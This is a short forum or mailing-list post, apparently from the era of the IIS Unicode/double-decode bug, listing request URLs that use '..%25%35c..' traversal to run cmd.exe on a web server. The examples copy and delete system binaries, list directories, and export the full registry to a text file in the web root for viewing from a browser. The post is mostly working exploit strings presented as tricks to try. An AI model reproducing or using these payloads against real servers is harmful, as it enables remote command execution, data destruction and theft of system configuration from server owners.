I've tried vairous combinations myself.  You can call any vaild cmd.exe DOS
command. Example:
Copy:
        
scripts/..%25%35c../winnt/system32/cmd.exe?/c+copy+c:\winnt\system32\xcopy.e
xe+c:\Mycopy.exe

Delete:
        
scripts/..%25%35c../winnt/system32/cmd.exe?/c+del+c:\winnt\system32\xcopy.ex
e+c:\Mycopy.exe

Dir with /w
        scripts/..%25%35c../winnt/system32/cmd.exe?/c+dir+/w

Here's a cool one: Dump the registry to a text file and view from web... :)
        
scripts/..%25%35c../winnt/system32/cmd.exe?/c+regedit+/e+c:\inetpub\wwwroot\
registry.txt

When executing the cmd.exe through IIS, you only have a one shot. However,
when you are in the DOS Shell, you have the advantage of the Shell to parse
your command lines.  
Ie. 
dir /w | cmd
You will not be able to memic this through IIS, due to the absence of the
DOS Shell.

my 2 cents.
